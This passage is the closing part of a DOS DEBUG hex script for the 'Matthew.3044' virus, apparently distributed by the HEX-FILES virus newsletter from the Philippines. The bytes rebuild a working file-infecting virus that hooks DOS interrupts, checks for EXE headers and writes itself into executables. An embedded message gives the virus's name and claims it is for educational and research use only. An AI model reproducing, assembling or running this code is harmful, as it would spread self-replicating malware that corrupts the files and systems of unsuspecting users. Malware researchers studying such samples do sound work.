E 06A0 03 B9 01 00 B6 00 9C 2E FF 1E 9C 02 C3 BF 9E 04
E 06B0 BE E7 0C B9 44 00 FC F3 A4 C3 0E 07 0E 1F BB E4
E 06C0 0C B8 01 02 B9 01 00 B6 00 9C 2E FF 1E 9C 02 C3
E 06D0 50 53 51 52 56 57 1E 06 0E 07 2E C6 06 17 03 01
E 06E0 E8 D7 FF E8 C7 FF E8 B2 FF 2E C6 06 17 03 00 07
E 06F0 1F 5F 5E 5A 59 5B 58 C3 9C 80 FC 00 75 13 90 90
E 0700 F6 C2 80 75 0C 90 90 80 FA 02 74 05 90 90 E8 BF
E 0710 FF 9D 2E FF 2E 9C 02 1E 0E 1F BF AB 02 8C D8 1F
E 0720 8E C0 8B F2 B9 50 00 FC F3 A4 C3 33 C9 8B D1 B8
E 0730 00 42 E8 4B FD C3 0E 1F B9 5D 01 BF 0D 01 BE E2
E 0740 04 FC 8C D8 8E C0 8A 04 F6 D0 26 88 05 47 46 E2
E 0750 F1 C3 BA 00 01 2E 8B 0E 79 02 B4 40 2E 8B 1E FC
E 0760 02 E8 1C FD C3 B4 36 B2 00 E8 14 FD 3D FF FF 75
E 0770 04 90 90 F9 C3 33 D2 F7 E3 F7 E1 0B D2 75 09 90
E 0780 90 2E 3B 06 79 02 72 EB C3 0E 1F B9 0B 00 33 F6
E 0790 C6 84 D1 0A 9D 90 46 E2 F7 C3 E8 7A FF E8 E9 FF
E 07A0 B8 24 35 E8 DA FC 8C 06 9A 02 89 1E 98 02 B8 24
E 07B0 25 BA 6D 04 E8 C9 FC EB 12 90 B8 24 25 2E 8B 16
E 07C0 98 02 2E 8E 1E 9A 02 E8 B6 FC C3 E8 97 FF 72 EA
E 07D0 BA AB 02 B8 00 43 E8 A7 FC 72 DF 2E 89 0E FE 02
E 07E0 B8 01 43 B9 20 00 E8 97 FC 72 CF B8 02 3D E8 8F
E 07F0 FC 72 C7 2E A3 FC 02 8B D8 B8 00 57 E8 81 FC 2E
E 0800 89 16 04 03 2E 89 0E 06 03 BB FE FF B4 48 E8 6F
E 0810 FC 73 09 90 90 B4 48 E8 66 FC 72 9E 2E A3 02 03
E 0820 33 C9 8B D1 2E 8B 1E FC 02 B8 02 42 E8 51 FC 72
E 0830 1E 90 90 2E A3 00 03 E8 F1 FE 72 13 90 90 2E 8B
E 0840 0E 00 03 33 D2 2E 8E 1E 02 03 B4 3F E8 31 FC 72
E 0850 66 90 90 33 F6 2E C6 06 8E 02 01 81 3C 4D 5A 74
E 0860 53 90 90 2E A1 75 02 39 84 75 01 74 14 90 90 2E
E 0870 A1 77 02 39 84 77 01 74 08 90 90 E8 AD FE EB 04
E 0880 90 EB 34 90 2E A1 00 03 2E 03 06 79 02 3D E6 FD
E 0890 73 EF 0E 1F E8 BB FE 2E 8B 1E FC 02 2E 8B 0E 00
E 08A0 03 2E 8E 1E 02 03 F7 16 00 00 33 D2 B4 40 E8 CF
E 08B0 FB EB 04 90 EB 38 90 2E 8E 06 02 03 B4 49 E8 BF
E 08C0 FB 2E 8B 1E FC 02 2E 8B 16 04 03 2E 8B 0E 06 03
E 08D0 B8 01 57 E8 AA FB B4 3E E8 A5 FB 0E 1F BA AB 02
E 08E0 2E 8B 0E FE 02 B8 01 43 E8 95 FB C3 EB C9 2E C6
E 08F0 06 8E 02 00 2E 8E 1E 02 03 33 F6 81 7C 12 70 27
E 0900 74 EA 81 7C 12 71 27 74 E3 81 7C 12 72 27 74 DC
E 0910 81 7C 12 73 27 74 D5 81 7C 12 74 27 74 CE 81 7C
E 0920 12 75 27 74 C7 81 7C 12 76 27 74 C0 81 7C 12 77
E 0930 27 74 B9 81 7C 12 78 27 74 B2 81 7C 12 79 27 74
E 0940 AB 81 7C 12 7A 27 74 A4 81 7C 12 7B 27 74 9D 81
E 0950 7C 12 7C 27 74 96 81 7C 12 7D 27 74 8F 81 7C 12
E 0960 7E 27 74 88 FF 74 12 2E 8F 06 87 02 C7 44 12 70
E 0970 27 8B 44 0E 05 10 00 2E A3 83 02 8B 44 10 2E A3
E 0980 85 02 8B 44 14 2E A3 81 02 8B 44 16 05 10 00 2E
E 0990 A3 7F 02 FF 74 04 2E 8F 06 7B 02 FF 74 02 2E 8F
E 09A0 06 7D 02 33 C0 2E A0 89 02 05 70 27 89 44 12 8B
E 09B0 44 04 83 7C 02 00 74 03 90 90 48 BB 00 02 F7 E3
E 09C0 03 44 02 83 D2 00 05 0F 00 83 D2 00 25 F0 FF 2E
E 09D0 A3 08 03 2E 89 16 0A 03 2E 03 06 79 02 83 D2 00
E 09E0 72 5A 90 90 F7 F3 0B D2 74 03 90 90 40 89 44 04
E 09F0 89 54 02 2E A1 08 03 2E 8B 16 0A 03 BB 10 00 F7
E 0A00 F3 2B 44 08 2D 10 00 89 44 16 C7 44 14 00 01 89
E 0A10 44 0E C7 44 10 E4 0D 2E 8B 1E FC 02 E8 0C FD B9
E 0A20 1C 00 33 D2 B4 40 E8 57 FA 0E 1F 8B 16 08 03 8B
E 0A30 0E 0A 03 B8 00 42 E8 47 FA E8 16 FD E9 78 FE 9C
E 0A40 90 92 92 9E 91 9B D1 9C 90 92 00 24 9C 3D 00 4B
E 0A50 75 15 90 90 1E 06 56 57 50 53 51 52 E8 3B FD 5A
E 0A60 59 5B 58 5F 5E 07 1F 9D 2E FF 2E 90 02 B8 21 35
E 0A70 CD 21 8C 06 92 02 89 1E 90 02 C3 B8 21 25 0E 1F
E 0A80 BA 4C 0A CD 21 C3 B8 08 35 CD 21 8C 06 96 02 89
E 0A90 1E 94 02 2E C7 06 04 04 F0 FF C3 33 C0 8E C0 26
E 0AA0 8C 0E 22 00 B8 06 04 26 A3 20 00 C3 06 B8 13 35
E 0AB0 CD 21 2E 8C 06 9E 02 2E 89 1E 9C 02 07 C3 06 33
E 0AC0 C0 8E C0 26 8C 0E 4E 00 B8 F8 06 26 A3 4C 00 07
E 0AD0 C3 9D 9D 9D 9D 9D 9D 9D 9D 9D 9D 9D 00 24 26 8E
E 0AE0 06 2C 00 33 FF FC B0 00 26 3A 05 74 09 90 90 B9
E 0AF0 FF FF F2 AE EB F2 83 C7 03 2E 89 3E 0E 03 2E 8C
E 0B00 06 0C 03 C3 0E 1F B9 0B 00 33 F6 8A A4 3F 0A F6
E 0B10 D4 88 A4 D1 0A 46 E2 F3 BA D1 0A C3 06 2E 8E 06
E 0B20 2C 00 B4 49 CD 21 07 C3 2E 8C 06 8A 02 E8 AE FF
E 0B30 2E 8E 06 8A 02 06 33 C0 8E C0 26 80 3E EC 03 87
E 0B40 74 10 90 90 26 80 3E EC 03 78 74 06 90 90 07 E9
E 0B50 70 01 07 E9 2A 01 8C C0 FA 8E D0 83 EC 10 FB 2E
E 0B60 8E 1E A9 02 2E 8B 36 A7 02 BF DB 0C B9 09 00 FC
E 0B70 F3 A4 8E D8 E8 A5 FF E8 7B F8 E8 80 F8 E8 ED FE
E 0B80 E8 F8 FE E8 26 FF E8 35 FF E8 FA FE E8 0C FF E8
E 0B90 A4 FB 0E 07 0E 1F 26 A1 2C 00 2E A3 11 03 BE 0A
E 0BA0 00 BF E4 0C B9 06 00 FC F3 A5 BB CC 0B 26 89 1E
E 0BB0 0A 00 26 8C 0E 0C 00 BA E4 0C B4 4D E8 C1 F8 B9
E 0BC0 04 00 D3 EA 83 C2 30 B4 31 E8 B4 F8 E8 19 F8 0E
E 0BD0 0E 1F 2E 8E 06 8A 02 BE E4 0C BF 0A 00 B9 06 00
E 0BE0 FC F3 A5 07 2E A1 8A 02 BE F3 0C 89 44 04 C7 44
E 0BF0 02 80 00 89 44 08 C7 44 06 5C 00 89 44 0C C7 44
E 0C00 0A 6C 00 2E A1 11 03 89 04 B4 30 CD 21 2E A2 10
E 0C10 03 FA 2E 8C 16 83 02 2E 89 26 85 02 FB 2E 8E 1E
E 0C20 0C 03 2E 8B 16 0E 03 BB F3 0C B8 00 4B 2E 80 3E
E 0C30 10 03 03 72 08 90 90 E8 46 F8 EB 03 90 CD 21 73
E 0C40 0E 90 90 3D 02 00 75 07 90 90 E8 B7 FE EB D8 FA
E 0C50 2E 8E 16 83 02 2E 8B 26 85 02 FB B4 4D CD 21 B4
E 0C60 4C CD 21 2E 8B 0E 00 03 83 C1 02 BE E4 0C BF 00
E 0C70 01 D1 E9 FC F3 A5 26 F7 16 00 01 BB 00 01 FF E3
E 0C80 2E 80 3E 8E 02 00 74 13 90 90 BF E8 FD B9 1D 00
E 0C90 BE 63 0C FC F3 A4 BB E8 FD FF E3 8C C0 2E 03 06
E 0CA0 83 02 8E D0 2E 8B 26 85 02 8C C0 2E 03 06 7F 02
E 0CB0 2E A3 A9 02 2E A1 81 02 2E A3 A7 02 F8 2E FF 2E
E 0CC0 A7 02 2E 8C 0E A9 02 2E C7 06 A7 02 DB 0C BF 00
E 0CD0 01 0E 1F BE 00 01 FC B9 DB 0B 90 90 F3 A4 06 B8
E 0CE0 56 0B 50 CB 16 39 01 0D 20 20 20 0D 0A 4D 61 62
E 0CF0 75 68 61 79 21 0D 0A 0A 54 68 69 73 20 69 73 20
E 0D00 4D 61 74 74 68 65 77 2E 33 30 34 34 20 28 63 6F
E 0D10 72 72 75 70 74 65 64 20 74 65 78 74 29 20 76 69
E 0D20 72 75 73 20 63 6F 6D 69 6E 67 20 74 6F 20 79 6F
E 0D30 75 20 66 72 6F 6D 20 74 68 65 20 50 68 69 6C 69
E 0D40 70 70 69 6E 65 73 2E 0D 0A 42 72 6F 75 67 68 74
E 0D50 20 74 6F 20 79 6F 75 20 6C 69 76 65 20 62 79 20
E 0D60 48 45 58 2D 46 49 4C 45 53 20 4E 6F 2E 20 32 0D
E 0D70 0A 0A 48 45 58 2D 46 49 4C 45 53 20 61 6E 64 20
E 0D80 50 75 74 6F 6B 73 61 20 4B 61 77 61 79 61 6E 20
E 0D90 61 72 65 20 6E 6F 74 20 72 65 73 70 6F 6E 73 69
E 0DA0 62 6C 65 20 66 6F 72 20 61 63 74 75 61 6C 2C 20
E 0DB0 69 6D 70 6C 69 65 64 20 61 6E 64 2F 6F 72 0D 0A
E 0DC0 69 6D 61 67 69 6E 61 72 79 20 64 61 6D 61 67 65
E 0DD0 20 62 72 6F 75 67 68 74 20 61 62 6F 75 74 20 62
E 0DE0 79 20 74 68 65 20 75 73 65 2C 20 6D 69 73 75 73
E 0DF0 65 20 6F 72 20 6E 6F 6E 2D 75 73 65 20 6F 66 20
E 0E00 74 68 69 73 20 76 69 72 69 69 2E 20 54 68 65 0D
E 0E10 0A 70 65 72 73 6F 6E 20 77 68 6F 20 65 78 65 63
E 0E20 75 74 65 73 20 74 68 69 73 20 76 69 72 69 69 20
E 0E30 62 65 61 72 73 20 66 75 6C 6C 20 72 65 73 70 6F
E 0E40 6E 73 69 62 69 6C 69 74 79 20 66 6F 72 20 68 69
E 0E50 73 2F 68 65 72 20 61 63 74 69 6F 6E 73 2E 0D 0A
E 0E60 0A 54 68 69 73 20 76 69 72 69 69 20 69 73 20 73
E 0E70 74 72 69 63 74 6C 79 20 66 6F 72 20 65 64 75 63
E 0E80 61 74 69 6F 6E 61 6C 20 61 6E 64 2F 6F 72 20 72
E 0E90 65 73 65 61 72 63 68 20 70 75 72 70 6F 73 65 73
E 0EA0 20 6F 6E 6C 79 2E 0D 0A 0A 24 08 20 1A 0E 1F BA
E 0EB0 07 01 B4 09 CD 21 B4 4C CD 21
RCX
0DBA
W
Q
ÄÄ MAT3044B.SCR ENDS HERE ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
EoF.
